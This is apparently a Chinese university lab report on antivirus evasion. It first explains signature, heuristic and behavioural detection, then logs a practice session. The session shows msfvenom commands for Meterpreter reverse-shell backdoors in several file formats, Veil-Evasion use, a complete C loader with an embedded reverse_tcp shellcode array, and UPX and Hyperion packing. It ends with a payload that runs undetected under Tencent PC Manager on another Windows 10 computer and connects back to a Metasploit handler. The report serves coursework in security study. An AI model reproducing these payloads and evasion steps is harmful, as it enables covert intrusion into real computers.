1.基础问题回答
1.1 杀软是如何检测出恶意代码的?
杀软检测恶意代码有三种方法:
1.基于特征码的检测
杀软是通过样子识别的。
在每个杀软中都存在一个储存特征码的库,而能识别出来的恶意代码都会有这样的一段或者多段代码,它可以唯一的标识这个恶意代码,并且其他的文件里是没有的,这样的一段或者多段代码被称为特征码。
例如在Windows的防火墙扫描的时候,发现要写入磁盘的代码段和特征码库中的一个或多个相同,就会识别出恶意代码。
所以,杀软需要及时更新这个特征码库,否则只能识别很老的恶意代码,也就没有什么用了。
当然,每个杀软的特征码库一般是保密的,这是竞争力所在,网络上很难找到特征码库。但是,可以使用Snort进行检测,这是一个开源的入侵检测平台。
- 基于特征码检测的优点是:精确地识别恶意代码。
- 基于特征码检测的缺点是:滞后性。不能检测0-day恶意软件,可能会对造成一些危害。0-day恶意软件是还未被发现的漏洞,它可以进行任何攻击行为。
2.启发式恶意软件检测
杀软是通过样子+行为识别的。
相比于特征码检测,启发式恶意软件检测是一种比较模糊的检测方法,没有特征码检测那么精确。
启发式恶意软件检测是通过片面特征推断是否是恶意代码。
可以通过他的样子判断,例如文件的签名、结构、厂商信息等,是否有异常信息。比如一般Windows平台下编写的软件是使用Visual Studio,mac下编写软件使用的是XCode,如果出现使用Linux下编写的软件就要注意是不是恶意代码了。
也可以通过他的行为来判断,看他是否有那些恶意代码的典型行为。例如这个程序有没有连接恶意软件?开放端口?修改系统文件?反弹连接等等……
- 缺点是:
- 与特征码检测比起来,不够精确
- 由于实时监控系统行为,开销较大
- 优点是:
- 可以检测特征码无法检测的0-day恶意软件
- 具有一定通用性
3.基于行为的检测
杀软是通过行为识别的,只关心他干了什么事。
是指通用的、多特征的、非精确的扫描。
1.2 免杀是做什么?
一般40%-98%的恶意软件会被杀软检测出来,杀软无法检测出所有的恶意软件。免杀就是通过一些方式例如软件加壳、加密、重新编译等等,让杀软无法检测出来恶意软件。
1.3 免杀的基本方法有哪些?
基本方法有两大类:
1.改变特征码(改变样子)
- 如果只有exe文件:可以进行加壳——包括压缩壳、加密壳等
- 如果还有shellcode(如Meterpreter):
- 可以使用encode进行编码,改变他原本的特征码
- 基于payload重新编译生成可执行文件。例如上次Exp2中重新写入另一个可执行文件,这样就不会有本身的特征,而会变得更像另一个文件
- 如果还有源代码:
- 可以使用其他语言重写再编译。例如python是一种跨平台的语言,可以进行重写然后编译,特征码会改变。
从上到下的三种方法,越往下有的东西越多就越好做。
2.改变行为
- 通讯方式
- 尽量使用反弹式连接,让被攻击机连接攻击机。这是现成的组件,实践中可以直接选择。
- 使用隧道技术,这个一般没有现成的组件。
- 加密通讯数据,杀软无法解密,也就无法检测了。这个也可以直接调用现成组件。
- 操作模式
- 基于内存操作。一般要写入硬盘的东西都需要检测。
- 减少对系统的修改。
- 加入混淆作用的正常功能代码。
2.实践总结与体会
上次实验我们虽然实现了很多功能,例如抓取截屏啊、录音啊这些,但都是在关闭杀软的情况下实现了,也不太符合现实情况。现实中被攻击的计算机不可能没有任何防护措施。
而这次实验中,我们体会到了一些实现免杀的方法,最后实现的时候觉得很惊喜,但是又很担忧。
我们只学了这么一点方法就能实现免杀,虽然是一段很简单的代码,那些黑客们想要入侵我们的计算机那不是易如反掌吗?
平时在使用计算机的时候一定要安全地使用才行。
3.开启杀软能绝对防止电脑中恶意代码吗?
不能。即使是最好的杀软,最多也只能检测出98%的恶意软件。
4.实践过程记录
4.1 先来试试一些能实现免杀的简单方法
4.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
Step1:免杀检测。
首先我们来检测一下实验二中生成的后门程序,使用VirusTotal或者Virscan进行扫描。
扫描结果如下:
可见,在VirusTotal网站上扫描的结果是:70款杀软中有52个都可以检测出来。
在Virscan网站上的扫描结果是,50款杀软中有23个都可以检测出来。
可见,如果不对后门程序做任何处理,大多数的杀毒软件都是可以检测出来的。
那么我们接下来尝试对实验二生成的后门程序进行处理,再来看看杀软的检测的结果。
Step2:正确使用msf编码器,生成exe文件。
首先尝试进行一次编码,看看会不会少几个软件检测出来。
输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.62.16 LPORT=1330 -f exe > 20181330-msf1.exe 使用msf编码器生成exe文件。
命令分析:
- -p:针对平台,该命令中选择的是Windows平台下的meterpreter组件,reverse_tcp连接方式
-
-e:选择编码器
-
-b:badchar,选择
payload中需要去除的字符,这次我们去掉'x00'
-
-f:生成文件格式
可以根据具体需要修改参数。
此时我们再在VirusTotal和Virscan上检测一下生成的文件。
可见,在VirusTotal网站上,70个杀毒软件中仍然是52个可以检测出来。
所以一次编码没有什么用。
那要是进行多次编码呢?是不是特征码就会改变呢?我们来尝试一下。
输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.62.16 LPORT=1330 -f exe > 20181330-msf2.exe 生成新的exe文件
命令分析:
- -i:增加了-i命令,这是迭代次数,我们选择迭代10次
我们再使用VirusTotal网站检测一下,结果如下:
经过10次迭代以后,居然在70个杀毒软件中有53个可以检测出来,比之前还多了一个!
可见,迭代的方法已经无法避免被检测出来。这是因为msfvenom生成的exe文件是由固定的模板的,很多AV也会根据这个特点进行查杀。
接下来我们生成其他文件类型试试。
Step3:正确使用msf编码器,生成jar文件。
输入 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=1330 x > 20181330-msf3.jar 使用msf编码器生成jar文件。
这时我们仍然使用VirusTotal网站进行检测,结果如下:
生成jar文件之后,在61个杀软中只有36个可以检测出来,有一点效果了。
Step4:正确使用msf编码器,生成php文件
输入 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=1330 x> 20181330-msf4.php 使用msf编码器生成php文件。
使用VirusTotal网站检测,结果如下:
生成phd文件之后,在58个杀软中只有20个可以检测出来,效果比刚刚好一点了。
所以生成的文件不同,检测的结果也是不一样的~
虽然说效果好一点,但是生成的后门程序还是会被很多杀软检测出来,所以我们使用veil加壳工具尝试,看一看效果。
4.1.2 veil,加壳工具
Step1:安装veil
这一步会很漫长,也会有很多错误,请耐心~
首先输入以下命令,进行安装的准备工作:
1 sudo apt-get -y install git 2 sudo apt-get install libncurses5* 3 sudo apt-get install libavutil55* 4 sudo apt-get install gcc-mingw-w64* 5 sudo apt-get install wine32 6 sudo apt-get update
在这里我出现了wine32安装失败的问题
解决方法:输入以下命令即可:
1 mkdir -p ~/.cache/wine 2 cd ~/.cache/wine 3 wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi 4 wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
接着输入 sudo apt-get install veil-evasion 进行安装
输入 veil 安装
这里我出错了很多次
尝试了使用 sudo apt-get purge veil 命令卸载重装
也尝试了从网上直接下载veil源代码
都没成功
最后的解决方法:使用手机热点。之前的错误是因为WiFi太慢,无法git pull,会出现网络错误。换了网之后很快就会安装成功,一路点击 next 即可,
最后执行命令 /usr/share/veil/config/setup.sh --force --silent 自动修复错误
如下图:
Step2: 使用veil-evasion生成后门程序
- 输入命令 use evasion 进入Evil-Evasion
- 输入命令 use c/meterpreter/rev_tcp.py 进入配置界面
- 输入命令 set LHOST 192.168.91.133 设置反弹连接IP,此处ip为Linux ip
- 输入命令 set LPORT 1330 设置端口
- 输入命令 options 查看配置
- 输入命令 generate 生成文件
- 接着输入文件名称为 veil-20181330.exe
输出结果显示,文件 veil-20181330.exe 的保存路径为 /var/lib/veil/output/compiled/veil-20181330.exe
Step3:VirusTotal检测
42个AV中有17个能识别,还是挺多的。
4.1.3 使用C + shellcode编程
Step1:生成shellcode
输入命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=1330 -f c 生成一段C编写的shellcode,如下图:
输入命令 vi 20181330shellcode.c 新建文件,输入代码如下:
unsigned char buf[] = "xfcxe8x8fx00x00x00x60x31xd2x89xe5x64x8bx52x30" "x8bx52x0cx8bx52x14x31xffx8bx72x28x0fxb7x4ax26" "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49" "x75xefx52x8bx52x10x57x8bx42x3cx01xd0x8bx40x78" "x85xc0x74x4cx01xd0x8bx58x20x50x8bx48x18x01xd3" "x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xc1" "xcfx0dxacx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24" "x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c" "x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59" "x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d" "x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26" "x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68" "x29x80x6bx00xffxd5x6ax0ax68xc0xa8x5bx85x68x02" "x00x05x32x89xe6x50x50x50x50x40x50x40x50x68xea" "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61" "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00" "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83" "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a" "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57" "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00" "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68" "x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff" "xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb" "xf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
输入命令 i686-w64-mingw32-g++ 20181330shellcode.c -o 20181330shellcode.exe 编译.c文件为可执行文件
Step2:VirusTotal检测
69个杀软中有36个都可以检测出来,效果不是很好。
4.1.4 尝试加壳
Step1:试试压缩壳
压缩壳的作用是减少应用体积
输入命令 upx 20181330shellcode.exe -o 20181330shellcode1.exe
目的是给原先的 20181330shellcode.exe 文件压缩加壳,重新生成文件 20181330shellcode1.exe
使用VirusTotal检测检测如下:
Step2:再试试加密壳
加密壳的作用是版权保护,反跟踪。
如果AV无法识别加密的内容,自然也就无法通过特征码这类方法判断恶意代码。
我们来尝试一下直接将刚刚压缩后的文件套上加密壳试试吧。
- 首先将Step1中生成的文件拷贝到 /usr/share/windows-binaries/hyperion/ 中
- 然后进入目录 /usr/share/windows-binaries/hyperion/
- 接着输入命令 wine hyperion.exe -v 20181330shellcode1.exe 20181330shellcode2.exe
- 这时我出现错误:
仔细看看这个错误,提示我没有hyperion.exe文件了
让我们来看看
确实没有
后来查了很久,没有找到hyperion.exe文件,采用的解决办法:在Kali中使用mingw-w64编译Hyperion
按部就班地照着做就好了,没有难点
- 解决了问题之后呢,我们再次把文件拷贝过来运行就好了
可以看到已经有hyperion.exe文件,重新输入!
加壳成功!传过来试试吧
啊哦,被发现了!
这是因为加密会导致熵过大,也就是信息过于密集,很容易被AV识别。
要改进的话,可以在每个字节后门加上一个空字节,减小熵,让相应的解密程序忽略掉这个空字节就好了。但是实现起来难度太大。
4.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
这里我使用了msf,但是突然崩溃无法运行了,做个实验真的好多坎坷/(ㄒoㄒ)/~~
报错如下:
解决办法:Kali(2020.4版本)遇到的metasploit启动崩溃问题,里面有原因解释和方法,在这里就不赘述了
好了,现在可以接着做实验了~
原理:
- 利用msf生成一段shellcode
- 新建.c文件,将shellcode写入并生成可执行文件
- 加壳加壳加壳:加上压缩壳~
- 再加上加密壳~
- 再压缩一遍
- 成功实现
结果:
4.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
组员的电脑使用的杀软是腾讯管家,版本是V13.6
电脑版本是Windows10
和4.2步骤相同,这次我们来试一试生成raw文件吧
- 输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=本机ip lport=1330 -f raw -o 20181330.raw 生成raw文件
- 这时候我会报错,问题是没有权限,加上sudo重新执行即可
- 需要在对方计算机上下载shellcode_launcher
- 然后在对方的电脑上输入 shellcode_launcher.exe -i 20181330.raw 运行生成的文件
杀软没有发现
- 在自己的电脑上依次输入:
msfconsole
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.91.133 //此处为kali端ip地址 exploit
之后成功实现回连!